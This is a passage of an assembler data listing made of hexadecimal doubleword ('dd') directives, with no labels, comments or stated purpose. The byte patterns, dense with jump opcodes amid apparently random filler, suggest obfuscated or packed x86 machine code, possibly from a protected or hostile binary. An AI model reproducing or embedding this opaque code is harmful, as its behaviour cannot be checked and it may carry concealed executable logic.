73C28158h, 8A55DD89h dd 11E850DDh, 7B000000h, 4ACAF671h, 0BD49E1D8h, 0C2FFB29Ah dd 33EEA76Ch, 0B5595AF5h, 47BA66C3h, 7CC68135h, 0BB04168Bh dd 75C0F3F7h, 0BE8F8h, 3B710000h, 0C1284E6Ch, 20B84F44h dd 3B14B986h, 5159492Ah, 6E9h, 611B2F00h, 5EFA3ED8h, 12810F60h dd 0E9000000h, 0Dh, 14911ABBh, 8E48B0A2h, 0DF577C0Bh, 0D98B60ADh dd 61616160h, 0E02FB966h, 0E98CA81h, 0B70F31ABh, 0BE6656DEh dd 0BF5924AFh, 3389542Eh, 9C181F9h, 66091F79h, 15B9E681h dd 78A0Fh, 8B600000h, 0D0BF0FCBh, 12E9FC61h, 23000000h dd 58FEC032h, 0A4DF1882h, 5085ED38h, 362371BEh, 8CBA520Eh dd 5A63371Ch, 0BE9h, 29795000h, 37E7AC31h, 88E994ECh, 0FCB8AF5h dd 887h, 0EB816000h, 49D9E569h, 0E95B5661h, 7, 10921630h dd 66C2979Ah, 79E3D381h, 8BCBBF0Fh, 66C68BD1h, 8B66DF8Bh dd 870F60D6h, 2, 0BF0F5A56h, 816661F2h, 0E9E4C0D7h, 0Bh dd 2C17FB6Ch, 37D00BC2h, 8169FF5Fh, 641DD5E8h, 7E8574Ch dd 46000000h, 483FFE11h, 5FF53807h, 0C18B665Ah, 0C860Fh dd 7E90000h, 93000000h, 0F904B455h, 0AE99326h, 8B000000h dd 44AD1982h, 0D7C37E2Bh, 188A0F1Ah, 0E9000000h, 13h, 987818E5h dd 0D3E49FC7h, 57077DFFh, 5E20280h, 816F336Eh, 4D4C21C7h dd 3C99B836h, 8D0F5675h, 5, 3BF6A1BEh, 0AE8605Ch, 74000000h dd 0E735331Ch, 0CC942126h, 5A5A502Fh, 0DF816661h, 81660803h dd 664715EBh, 0C0FAC981h, 6810Fh, 0CA810000h, 438638B6h dd 800Fh, 81660000h, 0B6A164F0h, 0F9B70FEDh, 10E9h, 883E7600h dd 0E1B4A0F4h, 68015E0Dh, 0E47E1215h, 59DBF80h, 8B664721h dd 667EB7FBh, 8B998AB8h, 0BF0F57D1h, 0BF0F58D0h, 7F7EB9C7h dd 8B661958h dd 66D68BDEh, 66EB8BBFh, 0DBBAC28Bh, 0E83471DBh, 6, 0B93694A3h dd 14E92BBFh, 0DE000000h, 0E5033A81h, 61F1EA4Bh, 54B67856h dd 9C0A7E40h, 5A20B538h, 880FDF8Bh, 5, 0C3DA8166h, 14E97Bh dd 0FA090000h, 75BEEC01h, 0D93880EDh, 51B6BF6Eh, 26094397h dd 0BB66B3A3h, 0B5B2ECF6h, 0F9F1B70Fh, 67641BB9h, 880FFC54h dd 8, 28E0Fh, 61600000h, 38B0Fh, 0CB800000h, 4B05BAF0h dd 6FB50F8Fh, 18C0F60h, 0F5000000h, 13E9h, 1033600h, 40BF685Bh dd 4A2144F3h, 0CFF9CFEDh, 78E1D9D5h, 0F0B70F61h, 9632BFF5h dd 42B9781Ah, 813021E5h, 935628D1h, 13E911h, 0B9A90000h dd 9F0775F8h, 0DA938924h, 2B9A2CCFh, 88B99944h, 0E22ABFE9h dd 14E93706h, 0BB000000h, 146D78B3h, 0C215D8DEh, 8731321Ah dd 21F2A4C9h, 0E9DD2CA8h, 13h, 2DDD8611h, 42A7600Eh, 6787AF36h dd 0DF1DCA3Bh, 0F07BB53h, 0C89h, 6860F00h, 81000000h, 57EB2BDFh dd 0F7816675h, 26B15465h, 880F15B3h, 4, 85AFBA66h, 0FD6B70Fh dd 0A8Eh, 860F6000h, 0 dd 6661FFB6h, 118CF81h, 0B8665F52h, 0B70F9758h, 5890FC3h dd 66000000h, 18F1E981h, 8BDAB70Fh, 0CB8B66CEh, 868EB81h dd 850F7F35h, 3, 66C7B70Fh, 8B03B9BBh, 0C68166F9h, 8166778Ch dd 6609A8E1h, 0FE04DBEh, 8Eh, 18E0F00h, 0F5000000h, 4170BE66h dd 8B665F52h, 84B9F8F0h, 816F2E11h, 0C41380DFh, 77BB6645h dd 19B866FDh, 0AE9D8h, 61C50000h, 0C8EF22E2h, 51B75B66h dd 72BC8ABBh, 0A56EB905h, 10E906C0h, 82000000h, 73CC1849h dd 84678A42h, 0F6F5E6BCh, 0E9440AB6h, 6, 7EBBFC0Eh, 8A0FF9D3h dd 16h, 11E9h, 84AFBD00h, 0FEB712C4h, 0D618A385h, 0D11746A0h dd 810FDF30h, 5, 487BB3BAh, 0C8E48012h, 14E9h, 1C8CEC00h dd 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 0ABE523CEh, 8166608Fh dd 0F2988C8h, 38Ch, 0CEB70F00h, 18F0F61h, 0FC000000h, 0E8F5ED80h dd 0Dh, 4D2208F5h, 0B2D835BAh, 7F094A25h, 92D8BBC2h, 8A5E567Ch dd 0DF8166DAh, 0F08A77B7h, 0F0DCA80h, 0A8Ch, 5E900h, 25AD0000h dd 66ACCEFBh, 4D2D781h, 0DE8h, 0CD346D00h, 50B7243Dh, 9AE082D0h dd 890F2887h, 17h, 11E8h, 55856000h, 0D9E3ED16h, 0F07F8777h dd 0C9CD08D6h, 5B5F1102h, 0BA593DBAh, 3CF68060h, 0FF28B60h dd 283h, 61F5B600h, 8C0FF08Bh, 2, 0DE95EB3h, 0C3000000h dd 7B6F82B9h, 3DD11Ah, 0C3B78D99h, 0E924D280h, 0Bh, 8E33DF3Dh dd 3CDED0BCh, 6081EFD1h, 0FE9h, 4D9C1500h, 3A683004h, 4A5E5454h dd 0CAEC4D14h, 5E961h, 36730000h, 0F944ADEh, 8F0FD8B7h dd 9, 66E4B460h, 0D6ABE181h, 68D0F61h, 81000000h, 9905CBCBh dd 66CB8B28h, 8166F18Bh, 8A08DDC1h, 816660C3h, 61E636E8h dd 8E9h, 9EE43C00h, 4EB8CDF1h, 17CC805Ch, 0FE88166h, 0C2BF0FE0h dd 0AE9h, 0C0193F00h, 3183679Fh, 0F7190E6h, 0CB8BC8BFh dd 8B0FD58Ah, 0 dd 83721FB9h, 0DEBF0F7Bh, 0C2816660h, 0E861EF9Fh, 0Eh dd 0A638574Fh, 0C3B5112h, 0B2BC50F3h, 8B53D161h, 8B585AD6h dd 10E9D0h, 2EF20000h, 8A88C44Ah, 40E0A835h, 71522E0Ah dd 0BA66970Fh, 800F940Ch, 2, 8B66CB8Ah, 3800FCEh, 66000000h dd 0CE81C38Bh, 15A3D8F3h, 28A0Fh, 0D78B0000h, 7E9h, 0CFC59300h dd 8D6F4461h, 12E9h, 0B79F1000h, 5F424665h, 50476110h dd 929D6CC0h, 0F8857365h, 48D0Fh, 53530000h, 0D38B5F59h dd 6042E280h, 3BB6660h, 0D7816637h, 0F61BA8Dh, 68Ah, 78CB8100h dd 6167FEB8h, 0CF8B6051h, 8B665F61h, 0B86660DEh, 880F7C29h dd 6, 0AE73C681h, 0F610AB7h, 8166DEBFh, 0F86CC0E0h, 5E9h dd 67D93300h, 810F12ADh, 4, 5E616056h, 81F9C38Bh, 3C805ADFh dd 5E90Fh, 67080000h, 0F98A9792h, 0E2BF66FCh, 9E9E0h, 897B0000h dd 2B551838h, 665BE0C9h, 0E92515BFh, 0Bh, 0CC9857AFh, 0D50490F3h dd 66ECC100h, 813E381h, 7B9FBA60h, 0BE663A25h, 606169F0h dd 4830Fh, 0BB660000h, 0E9B3F0E6h, 8B96661h, 41BF665Fh dd 0FDAB5BFh, 0EE8C0B7h, 18000000h, 4C511DFCh, 6E74DF28h dd 0E5E77AACh, 2DBF6667h, 0D6815A53h, 1D1445A3h, 8166FA8Bh dd 0F8B2D3DBh, 81D9BF0Fh, 925B77E0h, 0C281666Eh, 0FF591B7h dd 0C880DBB7h, 0DE9FCh, 6E340000h, 2E99136Ch, 0EC8A99E7h dd 6030CD79h, 613DB5FCh, 0F26B060h, 388h, 0F18B6600h, 7E961h dd 0F1890000h, 95AE9646h, 81666089h, 610F09D0h, 4B0FBB66h dd 0EE9h, 259A8E00h, 0DE33AF62h, 770B773Dh, 5231FA99h dd 8B665BFCh, 66F58AC7h, 7BB6DF8Bh, 66F9B70Fh, 9D9DD381h dd 5888D381h, 0C0812FBFh, 6BC8FA6Dh, 6C71BE66h, 0EE9h dd 0BCF0F00h, 834F152Fh, 0B2490C19h, 0E89DC34Ch, 11h, 6D7BF80Fh dd 0DC237745h, 988A8D6Ah, 58CC8F89h, 0E859F990h, 5, 0B2FEDA40h dd 0B8B8665Bh, 0B9665E87h, 5E84EC3h, 0D000000h, 13607AC7h dd 0D2C7B966h, 0D008BB5Fh, 816643F0h, 0E8D3F0C9h, 7, 0AA753DA4h dd 0B4355184h, 0C38B5F4Dh, 11E8h, 0A0FCE00h, 2914F6F3h dd 0BAC7CDC6h, 8D62A347h, 0B1B2C612h, 2A8EBF5Bh, 0EE909FBh dd 82000000h, 7092364Fh, 0CD167531h, 618EBE17h, 7E9D5h dd 29750000h, 9C036305h, 9E8A3h, 0C9360000h, 8564C305h dd 0F8BE8BA1h, 0BA66605Eh, 840F2151h, 6, 687CCA81h, 0F6136C2h dd 489h, 10B86600h, 58E0F47h, 66000000h, 0D13ADF81h, 19A5C681h dd 0F571E29h, 6658FABFh, 0BF9BC9BFh, 72D1BA10h, 8B0FC78Ah dd 0Ch, 68C0Fh, 0E9810000h, 1CE82545h, 0E951A4B2h, 12h dd 0DE4B29E3h, 65667A45h, 0F463688Fh, 5DD9D91Dh, 8B586745h dd 10E9F0h, 1CB0000h, 0C031F553h, 93AB4947h, 776FCEFCh dd 0FF96ECDh, 0DE81D2B7h, 3587EF75h, 14E88166h, 0DF8B66EBh dd 0E9C28B66h, 10h, 487312C8h, 0BA42C3FBh, 44A22034h, 0AB789176h dd 19840Fh, 0E9560000h, 12h, 0E4FF84C8h, 1465FD33h, 4CDB0E16h dd 0A5A8203Ah, 8B5BB5FAh, 8B0F60CEh, 2, 810FD0B3h, 5, 0D7AFE3BAh dd 810F616Ch, 29h, 0FE8h, 0A50E5800h, 74D7100h, 0E75AE8E7h dd 0DF445105h, 0FE9h, 0CE5E3000h, 0DF1934D9h, 0D24233Fh dd 8AE2B9E3h, 810F59h, 0F000000h, 0CE9F8B7h, 0B2000000h dd 3B6BC8DAh, 2D33948Eh, 0E801E894h, 0Bh, 918A7CB0h, 4206BAA4h dd 0F9B4899Fh, 0C8D0F5Ah, 0E9000000h, 7, 5CE6B5CEh, 604569ADh dd 60AD681h, 61F8125Fh, 63BB6660h, 7E9EBh, 0CA4D0000h dd 0C02CDD7Fh, 8E961A8h, 17000000h, 57CBF1F4h, 664830A4h dd 23B4C28Bh, 108E0Fh, 0F9600000h, 7E8h, 304D9000h, 789B02BBh dd 0A0B8615Bh, 662DBAD5h, 0E90398BEh, 7, 0EFFB6429h, 6072DC8Bh dd 810F60h, 0F000000h, 84h, 0F9536100h, 0B866615Fh, 0CE8B1BF2h dd 0CFD68060h, 4800Fh, 0BF660000h, 8161F3BBh, 759EE9D9h dd 0BF665013h, 0E95E7539h, 11h, 0E7395180h, 2C0F807Ah dd 4B79C2DAh, 86A6648Eh, 95CE81D4h, 564A540Bh, 3860Fh dd 0CC800000h, 0B9B25F57h, 9AEF8166h, 0C3B70F1Ah, 0CBF480F8h dd 7E9h, 0F293E100h, 52260626h, 12E9h, 0CCB2C900h, 910F1B0Dh dd 158DB7B7h, 62D885A5h, 0BF112224h, 2666CD0Dh, 8E9h, 38751B00h dd 2CDF90F4h, 5E94Ah, 0AD180000h, 609CD20Dh, 0FF8B70Fh dd 88h, 0E9F86100h, 9, 0F303C862h, 4F334E99h, 66CA8BB1h dd 0FE8F38Bh, 0AA000000h, 133EA3C3h, 643B29F3h, 737C47BDh dd 820F1772h, 6, 8C0Fh, 0F590000h, 8B66D3B7h, 0C78B66D7h dd 0FE960h, 72D60000h, 76DD795Ch, 2C08FF38h, 96E20D3Dh dd 0BE961A2h, 30000000h, 5F6A22Ah, 61DE4F3Ah, 6CB17345h dd 0BE9h, 0D5A1E700h, 66681C5Bh, 87DFB1FBh, 0BBCFD180h dd 6A07E41Ah, 0C6BF0F51h, 0F0B70F58h, 0F9CBBF0Fh, 80D3B70Fh dd 666076F6h, 12C7F381h, 0FDBF6660h, 6E3CBA4Dh, 61613106h dd 3880FF5h, 0F000000h, 0DB81F0BFh, 1952FD8Dh, 841D73BAh dd 8CE98100h, 605FE313h, 49E827B9h, 8B66617Bh, 13810FC3h dd 0E8000000h, 7, 0DF1F7FFCh, 81D5EFE5h, 65FC2ACBh, 0BF0F5E00h dd 0CE8166DEh, 74BA31D3h, 0F53EC8D8h, 0E18AD78Bh, 81D6C380h dd 99DD98F7h, 0EDB96618h, 0BE0FB6C0h, 48D61352h, 0A8E0F60h dd 0E9000000h, 5, 0F42E14FDh, 4F681FEh, 613C98B4h, 3FB6E58Ah dd 9E9h, 474F1900h, 3715C77Eh, 53605A8Ah, 0CA74D081h, 0F5F2F81h dd 682h, 850F00h, 61000000h, 28B0Fh, 0D78B0000h, 3FC68166h dd 0B4BE6623h, 11E9565Bh, 56000000h, 7B9223EDh, 82423B1Fh dd 1EE9C2EAh, 0BA451E2Eh, 0C7BF0F5Fh, 0E0A42DB8h, 8880F2Fh dd 0F000000h, 28Dh, 8BD78B00h, 48E0FFEh, 66000000h, 66CE17B9h dd 66B203B9h, 0CF8BCE8Bh, 0AE8h, 6FBC5B00h, 6D80A855h dd 0E98CEAECh, 9, 158FC8DEh, 6B9FF2Fh, 0D98B5E87h, 43DB8160h dd 614D4329h, 0EA816060h, 7DABB3C7h, 0C5ED8061h, 0CEBF0F61h dd 66D8BF0Fh, 0F995DBFh, 486h, 0F08B5200h, 41D1BB58h, 12E80C8Dh dd 0AE000000h, 0C33D52A2h, 5008639Ch, 0A0F23D3Bh, 0E211C202h dd 0CF8B58B2h, 0BE8h, 9860F900h, 0BD1E565Fh, 0D78A12C9h dd 0EE958F8h, 0EF000000h, 2C625019h, 7073DA5Fh, 7C89D708h dd 8166532Dh, 59FF2AD6h, 7446BF66h, 0B70FE78Ah, 0F3B70FF1h dd 728ED981h, 0F08160D4h, 516F016Eh, 0FD1BF0Fh, 48Bh, 5A565300h dd 0CC806058h, 61F78B33h, 0F5C68B66h, 62E88166h, 0BBA66A5h dd 198B0F1Bh, 0E8000000h, 12h, 3377D515h, 0A5A62526h, 0B04C5968h dd 66B99F32h, 5FFC90BAh, 4DB96651h, 8B665A02h, 602CB0F3h dd 0B8C28166h, 0FE9B7h, 41D80000h, 0E28507CBh, 8660A79Eh dd 4CDFF07Eh, 0B70F617Eh, 6E8F7h, 0C38C0000h, 0A32B775Dh dd 13E9h, 3236C00h, 415A4ADCh, 4EB5A675h, 0BE51FFD7h, 9C635000h dd 0C881605Ah, 0D9AEE1Dh, 665E5760h, 612647B9h, 0D68B6661h dd 0AFFBE281h, 0B70F1A88h, 10E8FCC6h, 0F000000h dd 0A78C8511h, 0FD0EA0CEh, 902B5612h, 81D0B60Ch, 3A9D1EE6h dd 8B665F1Ah, 9DF380C2h, 0E949DC80h, 8, 17E15EEDh, 0F5D794C2h dd 0AE8FE8Bh, 82000000h, 113F9DD3h, 24167A55h, 11E996h dd 5C640000h, 0DFB9962Bh, 55BE4C9Fh, 0C0392031h, 5F2E337Fh dd 0F7B70F60h, 8161F38Ah, 198E9ADEh, 30C88127h, 0F6FF7DDh dd 8F0FC2BFh, 2, 840F6EB1h, 2, 8A0F46B0h, 5, 0F9C98166h dd 0F18B666Dh, 2BAFADBFh, 0E956B130h, 0Bh, 0B1646F65h dd 0FBF5BD72h, 5233137Eh, 0C0E38166h, 0DE805EF1h, 0F8C18BA2h dd 27F68166h, 66595638h, 3911D681h, 0FD8B70Fh, 78Ch, 81665200h dd 59991FD6h, 188C0Fh, 13E90000h, 0CB000000h, 0E5E6AC7Ah dd 725B0330h, 2776D22Fh, 0D30037DBh, 890FCB9Bh, 2, 13E9C78Ah dd 96000000h, 13181606h, 74959BE5h, 668B892Ch, 4F82D914h dd 0E9609236h, 0Ah, 0FE07DEBDh, 6A7AF155h, 8A0F009Bh, 3 dd 6135F780h, 10E9h, 0E1F58300h, 71234FCh, 73AF2222h, 0EA93D9B7h dd 8F0F09h, 0F000000h, 1189h, 0CE900h, 71AB0000h, 2C6F3D86h dd 0F7DC7EBAh, 8E0FC701h, 0 dd 0FFB9C081h, 8B0F15C1h, 8, 28E0Fh, 0CA8B0000h, 0E8DFBF0Fh dd 0Eh, 73667051h, 0DC81A85Ch, 32901180h, 890F2ABFh, 0Bh dd 6E9h, 61741800h, 59F89A03h, 8E8h, 908F9D00h, 0B5082E20h dd 0AE9F0h, 8C650000h, 5A07BA87h, 8567415Ch, 4830F5Eh dd 51000000h, 0F59C78Bh, 18Bh, 8D0FF900h, 3, 0B8D6B70Fh dd 1DC0316Ah, 0FE952h, 0B650000h, 4082700Dh, 70E691DCh dd 0BCC08025h, 8C0F5F02h, 0Bh, 6E9h, 37D43100h, 8A7B34B3h dd 11E9F1h, 9F3C0000h, 0E62F86C3h, 0BBEFEB36h, 0DE5E8023h dd 0E94709E2h, 0Dh, 0FB248160h, 5F22B2AFh, 2FF96FB0h, 198F0FD3h dd 0E8000000h, 13h, 8C212EABh, 19641703h, 3B1720AFh, 98D6C09Ah dd 5F706C05h, 8E8h, 9D536900h, 6FF92FBFh, 6810F28h, 0F000000h dd 86h, 0EB815900h, 606B674Ch, 0C1CE8166h, 0FD38BCDh, 48Fh dd 0ABBA6600h, 0EF815753h, 21B8E6F9h, 8B66F95Eh, 0FEC8AF1h dd 8166F1B7h, 0E97865C8h, 0Fh, 0C57BD01Fh, 1FC9E027h, 53E8E6B9h dd 0E8195C12h, 0Fh, 9C0F70B0h, 0AF5C080Fh, 4D15E54Dh, 66CA79E3h dd 7680E181h, 0D5B9665Eh, 12E9ACh, 70AD0000h, 98B35BE2h dd 0ACC8138h, 159D4132h, 579E1275h, 5E8h, 0AB494700h, 0B751FC93h dd 0E9585867h, 0Ah, 221411BCh, 0A33EB3E1h, 13E9808Bh, 3F000000h dd 927C5828h, 17F7426Eh, 83F80788h, 0F36EC510h, 66F5D91Ah dd 5760D88Bh, 535FF38Ah, 615A6160h, 66D9B70Fh, 0DEC5DE81h dd 0AF51C981h, 8A0F3481h, 0Ah, 0BDA1BA60h, 8B6675AEh, 0E88161F2h dd 46F59E7Ah, 0BF0F6DB4h, 0FE9F2h, 6CF80000h, 0A464B4F5h dd 862942Fh, 751E1ED9h, 630DBA4Dh, 11E85F28h, 0FB000000h dd 9F820977h, 120C2CC9h, 0BB8E38EFh, 7524CBB0h, 0EA816651h dd 5B599782h, 98F0Fh, 8C0F0000h, 3, 81FA8B66h, 0D0AFD4C0h dd 0DF806053h, 0EF8166CFh, 8061CB5Ch, 8CB7F2C7h, 0B051C780h dd 0CA8166B4h, 0D08B60A1h, 0E97EDFB8h, 66CB8B22h, 0E9D9F781h dd 12840Fh, 0DE90000h, 0AD000000h, 0A2B8315Dh, 7F8D51ECh dd 0E6BEBFA6h, 0F66E99BEh, 3870F15h, 80000000h, 0CCB194D2h dd 850Fh, 0BF0F0000h, 0D68B66F6h, 7E960h, 0BAFE0000h, 0F3327CF8h dd 0DE8BEh, 72680000h, 8D583F0Eh, 9B7F9880h, 0E83AE8C7h dd 8, 0C5891E8Ah, 28C46ADDh, 60615A5Bh, 0A7E88166h, 28E0FB8h dd 60000000h, 0F536161h, 58Ch, 0F6816600h, 605ABD6Bh, 0B73BF66h dd 0E95661F9h, 0Dh, 0F4AC5083h, 41DAC5B4h, 0A0D377F5h dd 820F585Dh, 2, 0F88A5B52h, 1A800Fh, 14E80000h, 4E000000h dd 0AD3BE069h, 0BD22589Eh, 1AAA4B25h, 23DA2F8Ah, 585DE391h dd 0AE957h, 5E660000h, 0F128DE24h, 9B408D7h, 80C88B5Ah dd 4AB9B2E5h, 0BB5FF48Dh, 15024965h, 6E9F560h, 0CB000000h dd 9EE28507h, 14E961A7h, 0EC000000h, 44034B1Ch, 7060E131h dd 0A288CCDFh, 7C0F509Ch, 66ACD17Bh, 0FFA4F281h, 0DE9h dd 0E87B5500h, 4EAAB7AEh, 0A002DEFEh, 8C0FE5F2h, 2, 0EA8A5952h dd 11E9h, 4E7A5D00h, 4293718Eh, 0C83402EAh, 1AE5B0B5h dd 5360A21Bh, 0BE9h, 0CBF99300h, 0E884235Fh, 0CE7B83D1h dd 2860F5Fh, 53000000h, 0E9F5615Ah, 0Eh, 0EA9825F8h, 817BCC00h dd 0AEF9BCADh, 8166A336h, 0B78212F7h, 0C6816617h, 9B75CAEh dd 3870Fh, 0BF0F0000h, 0D88B66D9h, 0FE9h, 578C1500h, 0DB13866Fh dd 6ED0EC93h, 0DAB6C610h, 0E8C0BF0Fh, 10h, 0F49CA68Ah dd 0E2348C24h, 61414EB7h, 221C35C6h, 0B55CBE66h, 6E95Bh dd 12120000h, 0B3DBF365h, 3880Fh, 0D9800000h, 60605736h dd 7E961h, 3BC30000h, 748D8466h, 0E95A6144h, 10h, 472E3996h dd 0DD9E997h, 0A970BA46h, 0F63721DBh, 5E9h, 0E1B35200h dd 30B1E8D2h, 0CDC3F081h, 840F62D7h, 10h, 0BE9h, 66E6E00h dd 0D3676FBEh, 38582490h, 2830Fh, 0DFB40000h, 11E8h, 0D2562B00h dd 0FC5F3EB7h, 6B0B5B9Ah, 0B15B981Ch, 0B86613BFh, 665E090Ah dd 7E5AE181h, 3850Fh, 0B70F0000h, 10CA81FAh, 8127658Dh dd 3DA933F2h, 14E960h, 0BD630000h, 0DB763E3Ch, 0E9FA21D4h dd 81E5F1A6h, 256F0CF7h, 8E9E325h, 7E000000h, 0A567216Bh dd 0FC6EBDFh, 689h, 39C68100h, 8B7410AAh, 14E8C1h, 203C0000h dd 7E6A2F5Ah, 5C97A40Ch, 64E0ACh, 0C3AD1E86h, 0B160FB0Ch dd 0DE92Ah, 0F9B40000h, 0BEFDC2F6h, 0C65C1114h, 61D704DAh dd 58A0F5Bh, 0BB000000h, 27A08482h, 5E51F28Bh, 0F60D38Ah dd 286h, 0E9D98B00h, 5, 8D2708E0h, 8F0F6105h, 6, 0DCF6E281h dd 10E95778h, 0E8000000h, 0AFB3802Eh, 7247A3DAh, 9B990663h dd 6698EB69h, 0F83A96BAh, 3E97D681h, 8B665C59h, 17CAB8D1h dd 0E9FC4867h, 5, 0E8175784h, 13E956AAh, 94000000h, 60C7E3B3h dd 3DA751E6h, 0E92E4306h, 0D7807252h, 575A70D1h, 0FC5ED78Bh dd 6E860h, 93620000h, 87A01D45h, 0BFB9665Fh, 15BA617Ah dd 812C427Fh, 0D31CA7D9h, 0D08B6677h, 7E8FCh, 97B20000h dd 0F561AEAAh, 0C2BF0F97h, 0BF0FF95Ah, 5E8FFh, 43660000h dd 0E966B54Eh, 0Ah, 32E7C19Dh, 4C3994BCh, 0F5EF410h, 0F480F6B7h dd 0EE86036h, 0FE000000h, 0DB02D37h, 7EF37237h, 1B705CDBh dd 8B0F40h, 5E000000h, 806150B6h, 0B70F2EE1h, 7E9F1h, 0D1EC0000h dd 0EB15F3BFh, 0DF816644h, 8B6642CEh, 0DE951CEh, 0F8000000h dd 0D19086DAh, 0A75889DBh, 0C4542A8Ah, 11E85Eh, 65E60000h dd 6AD23B0Fh, 0B20417A3h, 73EFF3B9h, 0B064F177h, 5E85EE5h dd 72000000h, 0C9753296h, 0F5855B0h, 1A86h, 12E800h, 89E30000h dd 0F652A5D0h, 0EDDBB575h, 0E301FB96h, 0B4BB82CDh, 66595857h dd 5DECE81h, 2830F60h, 0B2000000h, 0C6816694h, 8B619BE4h dd 3AD881D8h, 0B0380870h, 3800FADh, 0F000000h, 880FC8B7h dd 3, 0E95EF850h, 11h, 6564A3F1h, 8AED87D5h, 0AC8D2CF8h dd 19EAC323h, 0E0FBB9C5h, 9E92BBEh, 0C2000000h, 50A51B3h dd 755D8986h, 9E8h, 28304400h, 0EF2559C3h, 0F605095h, 8Fh dd 0E85F6100h, 0Eh, 366322CEh, 0DB8924Eh, 4845D4AFh, 0F860BF0Dh dd 61CBB70Fh, 0CBB70F5Fh, 2850Fh, 0D78B0000h, 13E9h, 6FCF3300h dd 0FD345D2Eh, 0A83BBDB0h, 6D31D76h, 8A46DD89h, 0BE852h dd 9E1A0000h, 7EBEE2Fh, 6FC39665h, 665F5852h, 0EEBBD281h dd 0DEBC36BBh, 8E86Ch, 92CD0000h, 63052975h, 0FE99C03h dd 6C000000h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh, 575A0DCAh dd 0DE9h, 2DD16A00h, 6E04531Ah, 0F047413Ch, 0B2588D0Eh dd 48C88107h, 0F1DE243h, 0FF9F2BFh, 1582h, 0DE800h, 0F8390000h dd 0E56CC8F5h, 0C5D0695Eh, 607F5B2Eh, 0BE665B61h, 0D6819194h dd 66A9F738h, 9E9h, 0BF49A300h, 671DA23Bh, 14E85F91h, 71000000h dd 0B40F18D2h, 60A957F6h, 0E382E5A8h, 97E67E04h, 0E9330EBEh dd 5, 4CB5078h, 0FF85B26h, 0E68AC3B7h, 5E8h, 0EEFFAE00h dd 830F79FBh, 2, 0F95891B3h dd 0ACC8DE81h, 8B5020BCh, 0F38B5FC6h, 7B9AE281h, 0E6803960h dd 0C8B70F92h, 820FAEB6h, 1Bh, 158E0Fh, 0FE80000h, 4C000000h dd 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh, 0B3583EA3h, 0E78166BDh dd 8B6D071h, 10E9h, 74168A00h, 0A46055D7h, 0E8C68A9Bh dd 411F2133h, 58E0F40h, 66000000h, 56CDE181h, 27C88166h dd 8E8609Eh, 6A000000h, 0F56CF84Ah, 8BA464B4h, 0C38B5AD0h dd 9E961h, 0E31E0000h, 579CB740h, 50E8D1FFh, 5830F5Fh dd 0B8000000h, 0CFE28C7h, 52BBDE8Ah, 6631CD38h, 0AEB2CE8Bh dd 0B4F38B66h, 48E0F8Eh, 56000000h, 665E5E51h, 0ABD9C781h dd 4C9ED5B8h, 0F2B70F41h, 0AE9h, 6A967A00h, 5ED03CCFh dd 0B82E24EEh, 438FEB4Ah, 60FFB70Fh, 0DE9h, 0DFD87800h dd 0EFEA2164h, 7F3A15C0h, 0F6166CDh, 380h, 0C88B6600h dd 7E8h, 0AC91C200h, 9FC563C7h, 7AE18166h, 8D0F5F4Ah, 0Ch dd 7E9h, 1515BD00h, 45BE3C3Dh, 8B6660F5h, 0BF0F50F7h, 0BF615ED0h dd 4123C6ACh, 4ABA56F9h, 5A69991Eh, 0E2D18166h, 30B96677h dd 66A1B165h, 8D0FF08Bh, 4, 0B4F6BB66h, 6FC08166h, 9E92Bh dd 75AF0000h, 0C3A8DEA4h, 60EA17D9h, 66FB8B66h, 6661C28Bh dd 8D10CE81h, 0BFFB8BFCh, 4F2050CCh, 90E08166h, 5E8AAh dd 56EE0000h, 50BF92DFh, 595BF98Bh, 5E960h, 49650000h dd 0F1FD499h, 28Bh, 61D08A00h, 0BE8h, 0BC2E8C00h, 242BB70h dd 0F8C8811Ch, 5ECABF0Fh, 0F7BF0F57h, 0DE958h, 0B50000h dd 0DF4FA1E1h, 0CB52D855h, 609B31FEh, 0FCC0B70Fh, 0F88B6661h dd 0DFC78166h, 0C78166B8h, 8B5708AFh, 0E2B35ACEh, 94BBC88Bh dd 806F9944h, 0BF0F5ECDh, 4DEAB8F7h, 0BE82070h, 5B000000h dd 0D1F9E977h, 0D969C902h, 8E0F778Dh, 6, 546AD281h, 0B95A4FF6h dd 7A5741CCh, 18F0Fh, 60F80000h, 9FC0B966h, 12E9h, 0B71A8900h dd 6A92C0F6h, 9199ACE3h, 0F3425219h, 611854CEh, 10E9h dd 0AF3B2A00h, 885A1B72h, 9E8979F0h, 3CAA5D1Ch, 71C6817Dh dd 0E8790309h, 14h, 789F6B7Ch, 0C8822839h, 0AB442DA3h dd 48DDC30Ch, 0D611EE35h, 7E960h, 10C40000h, 0F997175Ch dd 0E9CB80C7h, 12E85961h, 0F2000000h, 40940550h, 69A561BEh dd 0F07C560Dh, 6B5F432Dh, 0EE86030h, 0BF000000h, 496875CBh dd 7FAFBE46h, 0C69E7368h, 0F68158A4h, 752C0173h, 0B9665861h dd 0CE818FB6h, 7212D814h, 0A573BB66h, 14E8D08Bh, 78000000h dd 4743D599h, 0D2A55052h, 317C4DA4h, 378B929h, 58D9FEA3h dd 0E9F8FD8Ah, 0Dh, 1705258Fh, 45F40B86h, 6ADF1E28h, 43BF664Eh dd 1BC38051h, 0CA81D38Bh, 7DD45F59h, 4800Fh, 0BA660000h dd 48B38492h, 66F78B66h, 6A19C281h, 0E6D2C381h, 56BA19CDh dd 0F5104698h, 8E9h, 948D2400h, 66CB7A88h, 0AE8D4h, 48A30000h dd 0A4DAE60Bh, 98551F55h, 0FAB70F60h, 8A0Fh, 59610000h dd 14F4BA66h, 0E9F9F88Bh, 6, 0AE0AC0BEh, 81666A81h, 0E9CC95DEh dd 14h, 0CBD5D162h, 0D70FB1CBh, 3E22CB86h, 7FD12C9Ch, 5FD93DAh dd 0FCEBF0Fh, 0DF8BDEB7h, 8F0F5852h, 0Dh, 8E9h, 1869D600h dd 22F7E7ECh, 7C880B2h, 0BF66CC8Ah, 5651F507h, 6E9h, 9A372500h dd 5B642E44h, 0CA81665Eh, 0D38030ABh, 93BB6625h, 552FBB05h dd 0E6802E1Eh, 0F9E1803Ch, 0F3D580F5h, 3093C181h, 0F60210Bh dd 9E9F0BFh, 0D1000000h, 2AD8BDA7h, 0F69A399Ah, 0FA8B5161h dd 0EE85Ah, 0F17E0000h, 0C62AECADh, 0B6A56C88h, 444926FFh dd 13E9h, 30176F00h, 0D69FE965h, 1586192Dh, 0C9806460h dd 0E25B53FFh, 0C5BF665Eh, 0FDD8A71h, 0A3BBD3BFh, 